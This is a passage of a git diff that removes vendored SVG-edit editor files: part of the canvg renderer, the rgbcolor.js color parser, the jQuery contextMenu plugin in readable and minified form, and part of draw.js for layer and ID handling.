-		// title element, do nothing
-		svg.Element.title = function(node) {
-		}
-		svg.Element.title.prototype = new svg.Element.ElementBase;
-
-		// desc element, do nothing
-		svg.Element.desc = function(node) {
-		}
-		svg.Element.desc.prototype = new svg.Element.ElementBase;		
-		
-		svg.Element.MISSING = function(node) {
-			console.log('ERROR: Element \'' + node.nodeName + '\' not yet implemented.');
-		}
-		svg.Element.MISSING.prototype = new svg.Element.ElementBase;
-		
-		// element factory
-		svg.CreateElement = function(node) {
-			var className = 'svg.Element.' + node.nodeName.replace(/^[^:]+:/,'');
-			if (!eval(className)) className = 'svg.Element.MISSING';
-		
-			var e = eval('new ' + className + '(node)');
-			e.type = node.nodeName;
-			return e;
-		}
-				
-		// load from url
-		svg.load = function(ctx, url) {
-			svg.loadXml(ctx, svg.ajax(url));
-		}
-		
-		// load from xml
-		svg.loadXml = function(ctx, xml) {
-			svg.init(ctx);
-			
-			var mapXY = function(p) {
-				var e = ctx.canvas;
-				while (e) {
-					p.x -= e.offsetLeft;
-					p.y -= e.offsetTop;
-					e = e.offsetParent;
-				}
-				if (window.scrollX) p.x += window.scrollX;
-				if (window.scrollY) p.y += window.scrollY;
-				return p;
-			}
-			
-			// bind mouse
-			if (svg.opts == null || svg.opts['ignoreMouse'] != true) {
-				ctx.canvas.onclick = function(e) {
-					var p = mapXY(new svg.Point(e != null ? e.clientX : event.clientX, e != null ? e.clientY : event.clientY));
-					svg.Mouse.onclick(p.x, p.y);
-				};
-				ctx.canvas.onmousemove = function(e) {
-					var p = mapXY(new svg.Point(e != null ? e.clientX : event.clientX, e != null ? e.clientY : event.clientY));
-					svg.Mouse.onmousemove(p.x, p.y);
-				};
-			}
-		
-			var dom = svg.parseXml(xml);
-			var e = svg.CreateElement(dom.documentElement);
-					
-			// render loop
-			var isFirstRender = true;
-			var draw = function() {
-				// set canvas size
-				if (e.style('width').hasValue()) {
-					ctx.canvas.width = e.style('width').Length.toPixels(ctx.canvas.parentNode.clientWidth);
-				}
-				if (e.style('height').hasValue()) {
-					ctx.canvas.height = e.style('height').Length.toPixels(ctx.canvas.parentNode.clientHeight);
-				}
-				svg.ViewPort.SetCurrent(ctx.canvas.clientWidth, ctx.canvas.clientHeight);			
-			
-				// clear and render
-				ctx.clearRect(0, 0, ctx.canvas.clientWidth, ctx.canvas.clientHeight);
-				e.render(ctx);
-				if (isFirstRender) {
-					isFirstRender = false;
-					if (svg.opts != null && typeof(svg.opts['renderCallback']) == 'function') svg.opts['renderCallback']();
-				}			
-			}
-			
-			var waitingForImages = true;
-			if (svg.ImagesLoaded()) {
-				waitingForImages = false;
-				draw();
-			}
-			svg.intervalID = setInterval(function() { 
-				var needUpdate = false;
-				
-				if (waitingForImages && svg.ImagesLoaded()) {
-					waitingForImages = false;
-					needUpdate = true;
-				}
-			
-				// need update from mouse events?
-				if (svg.opts == null || svg.opts['ignoreMouse'] != true) {
-					needUpdate = needUpdate | svg.Mouse.hasEvents();
-				}
-			
-				// need update from animations?
-				if (svg.opts == null || svg.opts['ignoreAnimation'] != true) {
-					for (var i=0; i<svg.Animations.length; i++) {
-						needUpdate = needUpdate | svg.Animations[i].update(1000 / svg.FRAMERATE);
-					}
-				}
-				
-				// need update from redraw?
-				if (svg.opts != null && typeof(svg.opts['forceRedraw']) == 'function') {
-					if (svg.opts['forceRedraw']() == true) needUpdate = true;
-				}
-				
-				// render if needed
-				if (needUpdate) {
-					draw();				
-					svg.Mouse.runEvents(); // run and clear our events
-				}
-			}, 1000 / svg.FRAMERATE);
-		}
-		
-		svg.stop = function() {
-			if (svg.intervalID) {
-				clearInterval(svg.intervalID);
-			}
-		}
-		
-		svg.Mouse = new (function() {
-			this.events = [];
-			this.hasEvents = function() { return this.events.length != 0; }
-		
-			this.onclick = function(x, y) {
-				this.events.push({ type: 'onclick', x: x, y: y, 
-					run: function(e) { if (e.onclick) e.onclick(); }
-				});
-			}
-			
-			this.onmousemove = function(x, y) {
-				this.events.push({ type: 'onmousemove', x: x, y: y,
-					run: function(e) { if (e.onmousemove) e.onmousemove(); }
-				});
-			}			
-			
-			this.eventElements = [];
-			
-			this.checkPath = function(element, ctx) {
-				for (var i=0; i<this.events.length; i++) {
-					var e = this.events[i];
-					if (ctx.isPointInPath && ctx.isPointInPath(e.x, e.y)) this.eventElements[i] = element;
-				}
-			}
-			
-			this.checkBoundingBox = function(element, bb) {
-				for (var i=0; i<this.events.length; i++) {
-					var e = this.events[i];
-					if (bb.isPointInBox(e.x, e.y)) this.eventElements[i] = element;
-				}			
-			}
-			
-			this.runEvents = function() {
-				svg.ctx.canvas.style.cursor = '';
-				
-				for (var i=0; i<this.events.length; i++) {
-					var e = this.events[i];
-					var element = this.eventElements[i];
-					while (element) {
-						e.run(element);
-						element = element.parent;
-					}
-				}		
-			
-				// done running, clear
-				this.events = []; 
-				this.eventElements = [];
-			}
-		});
-		
-		return svg;
-	}
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/canvg/rgbcolor.js b/public/svg-edit/editor/canvg/rgbcolor.js
deleted file mode 100644
index 108bbaea..00000000
--- a/public/svg-edit/editor/canvg/rgbcolor.js
+++ /dev/null
@@ -1,287 +0,0 @@
-/**
- * A class to parse color values
- * @author Stoyan Stefanov <sstoo@gmail.com>
- * @link   http://www.phpied.com/rgb-color-parser-in-javascript/
- * @license Use it if you like it
- */
-function RGBColor(color_string)
-{
-    this.ok = false;
-
-    // strip any leading #
-    if (color_string.charAt(0) == '#') { // remove # if any
-        color_string = color_string.substr(1,6);
-    }
-
-    color_string = color_string.replace(/ /g,'');
-    color_string = color_string.toLowerCase();
-
-    // before getting into regexps, try simple matches
-    // and overwrite the input
-    var simple_colors = {
-        aliceblue: 'f0f8ff',
-        antiquewhite: 'faebd7',
-        aqua: '00ffff',
-        aquamarine: '7fffd4',
-        azure: 'f0ffff',
-        beige: 'f5f5dc',
-        bisque: 'ffe4c4',
-        black: '000000',
-        blanchedalmond: 'ffebcd',
-        blue: '0000ff',
-        blueviolet: '8a2be2',
-        brown: 'a52a2a',
-        burlywood: 'deb887',
-        cadetblue: '5f9ea0',
-        chartreuse: '7fff00',
-        chocolate: 'd2691e',
-        coral: 'ff7f50',
-        cornflowerblue: '6495ed',
-        cornsilk: 'fff8dc',
-        crimson: 'dc143c',
-        cyan: '00ffff',
-        darkblue: '00008b',
-        darkcyan: '008b8b',
-        darkgoldenrod: 'b8860b',
-        darkgray: 'a9a9a9',
-        darkgreen: '006400',
-        darkkhaki: 'bdb76b',
-        darkmagenta: '8b008b',
-        darkolivegreen: '556b2f',
-        darkorange: 'ff8c00',
-        darkorchid: '9932cc',
-        darkred: '8b0000',
-        darksalmon: 'e9967a',
-        darkseagreen: '8fbc8f',
-        darkslateblue: '483d8b',
-        darkslategray: '2f4f4f',
-        darkturquoise: '00ced1',
-        darkviolet: '9400d3',
-        deeppink: 'ff1493',
-        deepskyblue: '00bfff',
-        dimgray: '696969',
-        dodgerblue: '1e90ff',
-        feldspar: 'd19275',
-        firebrick: 'b22222',
-        floralwhite: 'fffaf0',
-        forestgreen: '228b22',
-        fuchsia: 'ff00ff',
-        gainsboro: 'dcdcdc',
-        ghostwhite: 'f8f8ff',
-        gold: 'ffd700',
-        goldenrod: 'daa520',
-        gray: '808080',
-        green: '008000',
-        greenyellow: 'adff2f',
-        honeydew: 'f0fff0',
-        hotpink: 'ff69b4',
-        indianred : 'cd5c5c',
-        indigo : '4b0082',
-        ivory: 'fffff0',
-        khaki: 'f0e68c',
-        lavender: 'e6e6fa',
-        lavenderblush: 'fff0f5',
-        lawngreen: '7cfc00',
-        lemonchiffon: 'fffacd',
-        lightblue: 'add8e6',
-        lightcoral: 'f08080',
-        lightcyan: 'e0ffff',
-        lightgoldenrodyellow: 'fafad2',
-        lightgrey: 'd3d3d3',
-        lightgreen: '90ee90',
-        lightpink: 'ffb6c1',
-        lightsalmon: 'ffa07a',
-        lightseagreen: '20b2aa',
-        lightskyblue: '87cefa',
-        lightslateblue: '8470ff',
-        lightslategray: '778899',
-        lightsteelblue: 'b0c4de',
-        lightyellow: 'ffffe0',
-        lime: '00ff00',
-        limegreen: '32cd32',
-        linen: 'faf0e6',
-        magenta: 'ff00ff',
-        maroon: '800000',
-        mediumaquamarine: '66cdaa',
-        mediumblue: '0000cd',
-        mediumorchid: 'ba55d3',
-        mediumpurple: '9370d8',
-        mediumseagreen: '3cb371',
-        mediumslateblue: '7b68ee',
-        mediumspringgreen: '00fa9a',
-        mediumturquoise: '48d1cc',
-        mediumvioletred: 'c71585',
-        midnightblue: '191970',
-        mintcream: 'f5fffa',
-        mistyrose: 'ffe4e1',
-        moccasin: 'ffe4b5',
-        navajowhite: 'ffdead',
-        navy: '000080',
-        oldlace: 'fdf5e6',
-        olive: '808000',
-        olivedrab: '6b8e23',
-        orange: 'ffa500',
-        orangered: 'ff4500',
-        orchid: 'da70d6',
-        palegoldenrod: 'eee8aa',
-        palegreen: '98fb98',
-        paleturquoise: 'afeeee',
-        palevioletred: 'd87093',
-        papayawhip: 'ffefd5',
-        peachpuff: 'ffdab9',
-        peru: 'cd853f',
-        pink: 'ffc0cb',
-        plum: 'dda0dd',
-        powderblue: 'b0e0e6',
-        purple: '800080',
-        red: 'ff0000',
-        rosybrown: 'bc8f8f',
-        royalblue: '4169e1',
-        saddlebrown: '8b4513',
-        salmon: 'fa8072',
-        sandybrown: 'f4a460',
-        seagreen: '2e8b57',
-        seashell: 'fff5ee',
-        sienna: 'a0522d',
-        silver: 'c0c0c0',
-        skyblue: '87ceeb',
-        slateblue: '6a5acd',
-        slategray: '708090',
-        snow: 'fffafa',
-        springgreen: '00ff7f',
-        steelblue: '4682b4',
-        tan: 'd2b48c',
-        teal: '008080',
-        thistle: 'd8bfd8',
-        tomato: 'ff6347',
-        turquoise: '40e0d0',
-        violet: 'ee82ee',
-        violetred: 'd02090',
-        wheat: 'f5deb3',
-        white: 'ffffff',
-        whitesmoke: 'f5f5f5',
-        yellow: 'ffff00',
-        yellowgreen: '9acd32'
-    };
-    for (var key in simple_colors) {
-        if (color_string == key) {
-            color_string = simple_colors[key];
-        }
-    }
-    // emd of simple type-in colors
-
-    // array of color definition objects
-    var color_defs = [
-        {
-            re: /^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/,
-            example: ['rgb(123, 234, 45)', 'rgb(255,234,245)'],
-            process: function (bits){
-                return [
-                    parseInt(bits[1]),
-                    parseInt(bits[2]),
-                    parseInt(bits[3])
-                ];
-            }
-        },
-        {
-            re: /^(\w{2})(\w{2})(\w{2})$/,
-            example: ['#00ff00', '336699'],
-            process: function (bits){
-                return [
-                    parseInt(bits[1], 16),
-                    parseInt(bits[2], 16),
-                    parseInt(bits[3], 16)
-                ];
-            }
-        },
-        {
-            re: /^(\w{1})(\w{1})(\w{1})$/,
-            example: ['#fb0', 'f0f'],
-            process: function (bits){
-                return [
-                    parseInt(bits[1] + bits[1], 16),
-                    parseInt(bits[2] + bits[2], 16),
-                    parseInt(bits[3] + bits[3], 16)
-                ];
-            }
-        }
-    ];
-
-    // search through the definitions to find a match
-    for (var i = 0; i < color_defs.length; i++) {
-        var re = color_defs[i].re;
-        var processor = color_defs[i].process;
-        var bits = re.exec(color_string);
-        if (bits) {
-            channels = processor(bits);
-            this.r = channels[0];
-            this.g = channels[1];
-            this.b = channels[2];
-            this.ok = true;
-        }
-
-    }
-
-    // validate/cleanup values
-    this.r = (this.r < 0 || isNaN(this.r)) ? 0 : ((this.r > 255) ? 255 : this.r);
-    this.g = (this.g < 0 || isNaN(this.g)) ? 0 : ((this.g > 255) ? 255 : this.g);
-    this.b = (this.b < 0 || isNaN(this.b)) ? 0 : ((this.b > 255) ? 255 : this.b);
-
-    // some getters
-    this.toRGB = function () {
-        return 'rgb(' + this.r + ', ' + this.g + ', ' + this.b + ')';
-    }
-    this.toHex = function () {
-        var r = this.r.toString(16);
-        var g = this.g.toString(16);
-        var b = this.b.toString(16);
-        if (r.length == 1) r = '0' + r;
-        if (g.length == 1) g = '0' + g;
-        if (b.length == 1) b = '0' + b;
-        return '#' + r + g + b;
-    }
-
-    // help
-    this.getHelpXML = function () {
-
-        var examples = new Array();
-        // add regexps
-        for (var i = 0; i < color_defs.length; i++) {
-            var example = color_defs[i].example;
-            for (var j = 0; j < example.length; j++) {
-                examples[examples.length] = example[j];
-            }
-        }
-        // add type-in colors
-        for (var sc in simple_colors) {
-            examples[examples.length] = sc;
-        }
-
-        var xml = document.createElement('ul');
-        xml.setAttribute('id', 'rgbcolor-examples');
-        for (var i = 0; i < examples.length; i++) {
-            try {
-                var list_item = document.createElement('li');
-                var list_color = new RGBColor(examples[i]);
-                var example_div = document.createElement('div');
-                example_div.style.cssText =
-                        'margin: 3px; '
-                        + 'border: 1px solid black; '
-                        + 'background:' + list_color.toHex() + '; '
-                        + 'color:' + list_color.toHex()
-                ;
-                example_div.appendChild(document.createTextNode('test'));
-                var list_item_value = document.createTextNode(
-                    ' ' + examples[i] + ' -> ' + list_color.toRGB() + ' -> ' + list_color.toHex()
-                );
-                list_item.appendChild(example_div);
-                list_item.appendChild(list_item_value);
-                xml.appendChild(list_item);
-
-            } catch(e){}
-        }
-        return xml;
-
-    }
-
-}
diff --git a/public/svg-edit/editor/contextmenu/jquery.contextMenu.js b/public/svg-edit/editor/contextmenu/jquery.contextMenu.js
deleted file mode 100755
index 3892cc3b..00000000
--- a/public/svg-edit/editor/contextmenu/jquery.contextMenu.js
+++ /dev/null
@@ -1,204 +0,0 @@
-// jQuery Context Menu Plugin
-//
-// Version 1.01
-//
-// Cory S.N. LaViska
-// A Beautiful Site (http://abeautifulsite.net/)
-// Modified by Alexis Deveria
-//
-// More info: http://abeautifulsite.net/2008/09/jquery-context-menu-plugin/
-//
-// Terms of Use
-//
-// This plugin is dual-licensed under the GNU General Public License
-//   and the MIT License and is copyright A Beautiful Site, LLC.
-//
-if(jQuery)( function() {
-	var win = $(window);
-	var doc = $(document);
-
-	$.extend($.fn, {
-		
-		contextMenu: function(o, callback) {
-			// Defaults
-			if( o.menu == undefined ) return false;
-			if( o.inSpeed == undefined ) o.inSpeed = 150;
-			if( o.outSpeed == undefined ) o.outSpeed = 75;
-			// 0 needs to be -1 for expected results (no fade)
-			if( o.inSpeed == 0 ) o.inSpeed = -1;
-			if( o.outSpeed == 0 ) o.outSpeed = -1;
-			// Loop each context menu
-			$(this).each( function() {
-				var el = $(this);
-				var offset = $(el).offset();
-			
-				var menu = $('#' + o.menu);
-
-				// Add contextMenu class
-				menu.addClass('contextMenu');
-				
-				// Simulate a true right click
-				$(this).mousedown( function(e) {
-					var evt = e;
-					$(this).mouseup( function(e) {
-						var srcElement = $(this);
-						srcElement.unbind('mouseup');
-						if( evt.button === 2 || o.allowLeft) {
-							e.stopPropagation();
-							// Hide context menus that may be showing
-							$(".contextMenu").hide();
-							// Get this context menu
-						
-							if( el.hasClass('disabled') ) return false;
-							
-							// Detect mouse position
-							var d = {}, x = e.pageX, y = e.pageY;
-							
-							var x_off = win.width() - menu.width(), 
-								y_off = win.height() - menu.height();
-
-							if(x > x_off - 15) x = x_off-15;
-							if(y > y_off - 30) y = y_off-30; // 30 is needed to prevent scrollbars in FF
-							
-							// Show the menu
-							doc.unbind('click');
-							menu.css({ top: y, left: x }).fadeIn(o.inSpeed);
-							// Hover events
-							menu.find('A').mouseover( function() {
-								menu.find('LI.hover').removeClass('hover');
-								$(this).parent().addClass('hover');
-							}).mouseout( function() {
-								menu.find('LI.hover').removeClass('hover');
-							});
-							
-							// Keyboard
-							doc.keypress( function(e) {
-								switch( e.keyCode ) {
-									case 38: // up
-										if( !menu.find('LI.hover').length ) {
-											menu.find('LI:last').addClass('hover');
-										} else {
-											menu.find('LI.hover').removeClass('hover').prevAll('LI:not(.disabled)').eq(0).addClass('hover');
-											if( !menu.find('LI.hover').length ) menu.find('LI:last').addClass('hover');
-										}
-									break;
-									case 40: // down
-										if( menu.find('LI.hover').length == 0 ) {
-											menu.find('LI:first').addClass('hover');
-										} else {
-											menu.find('LI.hover').removeClass('hover').nextAll('LI:not(.disabled)').eq(0).addClass('hover');
-											if( !menu.find('LI.hover').length ) menu.find('LI:first').addClass('hover');
-										}
-									break;
-									case 13: // enter
-										menu.find('LI.hover A').trigger('click');
-									break;
-									case 27: // esc
-										doc.trigger('click');
-									break
-								}
-							});
-							
-							// When items are selected
-							menu.find('A').unbind('mouseup');
-							menu.find('LI:not(.disabled) A').mouseup( function() {
-								doc.unbind('click').unbind('keypress');
-								$(".contextMenu").hide();
-								// Callback
-								if( callback ) callback( $(this).attr('href').substr(1), $(srcElement), {x: x - offset.left, y: y - offset.top, docX: x, docY: y} );
-								return false;
-							});
-							
-							// Hide bindings
-							setTimeout( function() { // Delay for Mozilla
-								doc.click( function() {
-									doc.unbind('click').unbind('keypress');
-									menu.fadeOut(o.outSpeed);
-									return false;
-								});
-							}, 0);
-						}
-					});
-				});
-				
-				// Disable text selection
-				if( $.browser.mozilla ) {
-					$('#' + o.menu).each( function() { $(this).css({ 'MozUserSelect' : 'none' }); });
-				} else if( $.browser.msie ) {
-					$('#' + o.menu).each( function() { $(this).bind('selectstart.disableTextSelect', function() { return false; }); });
-				} else {
-					$('#' + o.menu).each(function() { $(this).bind('mousedown.disableTextSelect', function() { return false; }); });
-				}
-				// Disable browser context menu (requires both selectors to work in IE/Safari + FF/Chrome)
-				$(el).add($('UL.contextMenu')).bind('contextmenu', function() { return false; });
-				
-			});
-			return $(this);
-		},
-		
-		// Disable context menu items on the fly
-		disableContextMenuItems: function(o) {
-			if( o == undefined ) {
-				// Disable all
-				$(this).find('LI').addClass('disabled');
-				return( $(this) );
-			}
-			$(this).each( function() {
-				if( o != undefined ) {
-					var d = o.split(',');
-					for( var i = 0; i < d.length; i++ ) {
-						$(this).find('A[href="' + d[i] + '"]').parent().addClass('disabled');
-						
-					}
-				}
-			});
-			return( $(this) );
-		},
-		
-		// Enable context menu items on the fly
-		enableContextMenuItems: function(o) {
-			if( o == undefined ) {
-				// Enable all
-				$(this).find('LI.disabled').removeClass('disabled');
-				return( $(this) );
-			}
-			$(this).each( function() {
-				if( o != undefined ) {
-					var d = o.split(',');
-					for( var i = 0; i < d.length; i++ ) {
-						$(this).find('A[href="' + d[i] + '"]').parent().removeClass('disabled');
-						
-					}
-				}
-			});
-			return( $(this) );
-		},
-		
-		// Disable context menu(s)
-		disableContextMenu: function() {
-			$(this).each( function() {
-				$(this).addClass('disabled');
-			});
-			return( $(this) );
-		},
-		
-		// Enable context menu(s)
-		enableContextMenu: function() {
-			$(this).each( function() {
-				$(this).removeClass('disabled');
-			});
-			return( $(this) );
-		},
-		
-		// Destroy context menu(s)
-		destroyContextMenu: function() {
-			// Destroy specified context menus
-			$(this).each( function() {
-				// Disable action
-				$(this).unbind('mousedown').unbind('mouseup');
-			});
-			return( $(this) );
-		}
-		
-	});
-})(jQuery);
\ No newline at end of file
diff --git a/public/svg-edit/editor/contextmenu/jquery.contextMenu.min.js b/public/svg-edit/editor/contextmenu/jquery.contextMenu.min.js
deleted file mode 100644
index f8c7b148..00000000
--- a/public/svg-edit/editor/contextmenu/jquery.contextMenu.min.js
+++ /dev/null
@@ -1,22 +0,0 @@
-// jQuery Context Menu Plugin
-//
-// Version 1.01
-//
-// Cory S.N. LaViska
-// A Beautiful Site (http://abeautifulsite.net/)
-//
-// Modifications by Alexis Deveria
-//
-// More info: http://abeautifulsite.net/2008/09/jquery-context-menu-plugin/
-//
-// Terms of Use
-//
-// This plugin is dual-licensed under the GNU General Public License
-//   and the MIT License and is copyright A Beautiful Site, LLC.
-//
-jQuery&&function(){var i=$(window),e=$(document);$.extend($.fn,{contextMenu:function(a,d){if(a.menu==undefined)return false;if(a.inSpeed==undefined)a.inSpeed=150;if(a.outSpeed==undefined)a.outSpeed=75;if(a.inSpeed==0)a.inSpeed=-1;if(a.outSpeed==0)a.outSpeed=-1;$(this).each(function(){var c=$(this),j=$(c).offset(),b=$("#"+a.menu);b.addClass("contextMenu");$(this).mousedown(function(m){$(this).mouseup(function(f){var k=$(this);k.unbind("mouseup");if(m.button===2||a.allowLeft){f.stopPropagation();$(".contextMenu").hide();
-if(c.hasClass("disabled"))return false;var g=f.pageX,h=f.pageY;f=i.width()-b.width();var l=i.height()-b.height();if(g>f-15)g=f-15;if(h>l-30)h=l-30;e.unbind("click");b.css({top:h,left:g}).fadeIn(a.inSpeed);b.find("A").mouseover(function(){b.find("LI.hover").removeClass("hover");$(this).parent().addClass("hover")}).mouseout(function(){b.find("LI.hover").removeClass("hover")});e.keypress(function(n){switch(n.keyCode){case 38:if(b.find("LI.hover").length){b.find("LI.hover").removeClass("hover").prevAll("LI:not(.disabled)").eq(0).addClass("hover");
-b.find("LI.hover").length||b.find("LI:last").addClass("hover")}else b.find("LI:last").addClass("hover");break;case 40:if(b.find("LI.hover").length==0)b.find("LI:first").addClass("hover");else{b.find("LI.hover").removeClass("hover").nextAll("LI:not(.disabled)").eq(0).addClass("hover");b.find("LI.hover").length||b.find("LI:first").addClass("hover")}break;case 13:b.find("LI.hover A").trigger("click");break;case 27:e.trigger("click")}});b.find("A").unbind("mouseup");b.find("LI:not(.disabled) A").mouseup(function(){e.unbind("click").unbind("keypress");
-$(".contextMenu").hide();d&&d($(this).attr("href").substr(1),$(k),{x:g-j.left,y:h-j.top,docX:g,docY:h});return false});setTimeout(function(){e.click(function(){e.unbind("click").unbind("keypress");b.fadeOut(a.outSpeed);return false})},0)}})});if($.browser.mozilla)$("#"+a.menu).each(function(){$(this).css({MozUserSelect:"none"})});else $.browser.msie?$("#"+a.menu).each(function(){$(this).bind("selectstart.disableTextSelect",function(){return false})}):$("#"+a.menu).each(function(){$(this).bind("mousedown.disableTextSelect",
-function(){return false})});$(c).add($("UL.contextMenu")).bind("contextmenu",function(){return false})});return $(this)},disableContextMenuItems:function(a){if(a==undefined){$(this).find("LI").addClass("disabled");return $(this)}$(this).each(function(){if(a!=undefined)for(var d=a.split(","),c=0;c<d.length;c++)$(this).find('A[href="'+d[c]+'"]').parent().addClass("disabled")});return $(this)},enableContextMenuItems:function(a){if(a==undefined){$(this).find("LI.disabled").removeClass("disabled");return $(this)}$(this).each(function(){if(a!=
-undefined)for(var d=a.split(","),c=0;c<d.length;c++)$(this).find('A[href="'+d[c]+'"]').parent().removeClass("disabled")});return $(this)},disableContextMenu:function(){$(this).each(function(){$(this).addClass("disabled")});return $(this)},enableContextMenu:function(){$(this).each(function(){$(this).removeClass("disabled")});return $(this)},destroyContextMenu:function(){$(this).each(function(){$(this).unbind("mousedown").unbind("mouseup")});return $(this)}})}(jQuery);
\ No newline at end of file
diff --git a/public/svg-edit/editor/draw.js b/public/svg-edit/editor/draw.js
deleted file mode 100644
index 8db3138b..00000000
--- a/public/svg-edit/editor/draw.js
+++ /dev/null
@@ -1,528 +0,0 @@
-/**
- * Package: svgedit.draw
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2011 Jeff Schiller
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) browser.js
-// 3) svgutils.js
-
-var svgedit = svgedit || {};
-
-(function() {
-
-if (!svgedit.draw) {
-	svgedit.draw = {};
-}
-
-var svg_ns = "http://www.w3.org/2000/svg";
-var se_ns = "http://svg-edit.googlecode.com";
-var xmlns_ns = "http://www.w3.org/2000/xmlns/";
-
-var visElems = 'a,circle,ellipse,foreignObject,g,image,line,path,polygon,polyline,rect,svg,text,tspan,use';
-var visElems_arr = visElems.split(',');
-
-var RandomizeModes = {
-	LET_DOCUMENT_DECIDE: 0,
-	ALWAYS_RANDOMIZE: 1,
-	NEVER_RANDOMIZE: 2
-};
-var randomize_ids = RandomizeModes.LET_DOCUMENT_DECIDE;
-
-/**
- * This class encapsulates the concept of a layer in the drawing
- * @param name {String} Layer name
- * @param child {SVGGElement} Layer SVG group.
- */
-svgedit.draw.Layer = function(name, group) {
-	this.name_ = name;
-	this.group_ = group;
-};
-
-svgedit.draw.Layer.prototype.getName = function() {
-	return this.name_;
-};
-
-svgedit.draw.Layer.prototype.getGroup = function() {
-	return this.group_;
-};
-
-
-// Called to ensure that drawings will or will not have randomized ids.
-// The current_drawing will have its nonce set if it doesn't already.
-// 
-// Params:
-// enableRandomization - flag indicating if documents should have randomized ids
-svgedit.draw.randomizeIds = function(enableRandomization, current_drawing) {
-	randomize_ids = enableRandomization == false ?
-		RandomizeModes.NEVER_RANDOMIZE :
-		RandomizeModes.ALWAYS_RANDOMIZE;
-
-	if (randomize_ids == RandomizeModes.ALWAYS_RANDOMIZE && !current_drawing.getNonce()) {
-		current_drawing.setNonce(Math.floor(Math.random() * 100001));
-	} else if (randomize_ids == RandomizeModes.NEVER_RANDOMIZE && current_drawing.getNonce()) {
-		current_drawing.clearNonce();
-	}
-};
-
-/**
- * This class encapsulates the concept of a SVG-edit drawing
- *
- * @param svgElem {SVGSVGElement} The SVG DOM Element that this JS object
- *     encapsulates.  If the svgElem has a se:nonce attribute on it, then
- *     IDs will use the nonce as they are generated.
- * @param opt_idPrefix {String} The ID prefix to use.  Defaults to "svg_"
- *     if not specified.
- */
-svgedit.draw.Drawing = function(svgElem, opt_idPrefix) {
-	if (!svgElem || !svgElem.tagName || !svgElem.namespaceURI ||
-		svgElem.tagName != 'svg' || svgElem.namespaceURI != svg_ns) {
-		throw "Error: svgedit.draw.Drawing instance initialized without a <svg> element";
-	}
-
-	/**
-	 * The SVG DOM Element that represents this drawing.
-	 * @type {SVGSVGElement}
-	 */
-	this.svgElem_ = svgElem;
-	
-	/**
-	 * The latest object number used in this drawing.
-	 * @type {number}
-	 */
-	this.obj_num = 0;
-	
-	/**
-	 * The prefix to prepend to each element id in the drawing.
-	 * @type {String}
-	 */
-	this.idPrefix = opt_idPrefix || "svg_";
-	
-	/**
-	 * An array of released element ids to immediately reuse.
-	 * @type {Array.<number>}
-	 */
-	this.releasedNums = [];
-
-	/**
-	 * The z-ordered array of tuples containing layer names and <g> elements.
-	 * The first layer is the one at the bottom of the rendering.
-	 * TODO: Turn this into an Array.<Layer>
-	 * @type {Array.<Array.<String, SVGGElement>>}
-	 */
-	this.all_layers = [];
-
-	/**
-	 * The current layer being used.
-	 * TODO: Make this a {Layer}.
-	 * @type {SVGGElement}
-	 */
-	this.current_layer = null;
-
-	/**
-	 * The nonce to use to uniquely identify elements across drawings.
-	 * @type {!String}
-	 */
-	this.nonce_ = "";
-	var n = this.svgElem_.getAttributeNS(se_ns, 'nonce');
-	// If already set in the DOM, use the nonce throughout the document
-	// else, if randomizeIds(true) has been called, create and set the nonce.
-	if (!!n && randomize_ids != RandomizeModes.NEVER_RANDOMIZE) {
-		this.nonce_ = n;
-	} else if (randomize_ids == RandomizeModes.ALWAYS_RANDOMIZE) {
-		this.setNonce(Math.floor(Math.random() * 100001));
-	}
-};
-
-svgedit.draw.Drawing.prototype.getElem_ = function(id) {
-	if(this.svgElem_.querySelector) {
-		// querySelector lookup
-		return this.svgElem_.querySelector('#'+id);
-	} else {
-		// jQuery lookup: twice as slow as xpath in FF
-		return $(this.svgElem_).find('[id=' + id + ']')[0];
-	}
-};
-
-svgedit.draw.Drawing.prototype.getSvgElem = function() {
-	return this.svgElem_;
-};
-
-svgedit.draw.Drawing.prototype.getNonce = function() {
-	return this.nonce_;
-};
-
-svgedit.draw.Drawing.prototype.setNonce = function(n) {
-	this.svgElem_.setAttributeNS(xmlns_ns, 'xmlns:se', se_ns);
-	this.svgElem_.setAttributeNS(se_ns, 'se:nonce', n);
-	this.nonce_ = n;
-};
-
-svgedit.draw.Drawing.prototype.clearNonce = function() {
-	// We deliberately leave any se:nonce attributes alone,
-	// we just don't use it to randomize ids.
-	this.nonce_ = "";
-};
-
-/**
- * Returns the latest object id as a string.
- * @return {String} The latest object Id.
- */
-svgedit.draw.Drawing.prototype.getId = function() {
-	return this.nonce_ ?
-		this.idPrefix + this.nonce_ +'_' + this.obj_num :
- 		this.idPrefix + this.obj_num;
-};
-
-/**
- * Returns the next object Id as a string.
- * @return {String} The next object Id to use.
- */
-svgedit.draw.Drawing.prototype.getNextId = function() {
-	var oldObjNum = this.obj_num;
-	var restoreOldObjNum = false;
-
-	// If there are any released numbers in the release stack, 
-	// use the last one instead of the next obj_num.
-	// We need to temporarily use obj_num as that is what getId() depends on.
-	if (this.releasedNums.length > 0) {
-		this.obj_num = this.releasedNums.pop();
-		restoreOldObjNum = true;
-	} else {
-		// If we are not using a released id, then increment the obj_num.
-		this.obj_num++;
-	}
-
-	// Ensure the ID does not exist.
-	var id = this.getId();
-	while (this.getElem_(id)) {
-		if (restoreOldObjNum) {
-			this.obj_num = oldObjNum;
-			restoreOldObjNum = false;
-		}
-		this.obj_num++;
-		id = this.getId();
-	}
-	// Restore the old object number if required.
-	if (restoreOldObjNum) {
-		this.obj_num = oldObjNum;
-	}
-	return id;
-};
-
-// Function: svgedit.draw.Drawing.releaseId
-// Releases the object Id, letting it be used as the next id in getNextId().
-// This method DOES NOT remove any elements from the DOM, it is expected
-// that client code will do this.
-//
-// Parameters:
-// id - The id to release.
-//
-// Returns:
-// True if the id was valid to be released, false otherwise.
-svgedit.draw.Drawing.prototype.releaseId = function(id) {
-	// confirm if this is a valid id for this Document, else return false
-	var front = this.idPrefix + (this.nonce_ ? this.nonce_ +'_' : '');
-	if (typeof id != typeof '' || id.indexOf(front) != 0) {
-		return false;
-	}
-	// extract the obj_num of this id
-	var num = parseInt(id.substr(front.length));
-
-	// if we didn't get a positive number or we already released this number
-	// then return false.
-	if (typeof num != typeof 1 || num <= 0 || this.releasedNums.indexOf(num) != -1) {
-		return false;
-	}
-	
-	// push the released number into the released queue
-	this.releasedNums.push(num);
-
-	return true;
-};
-
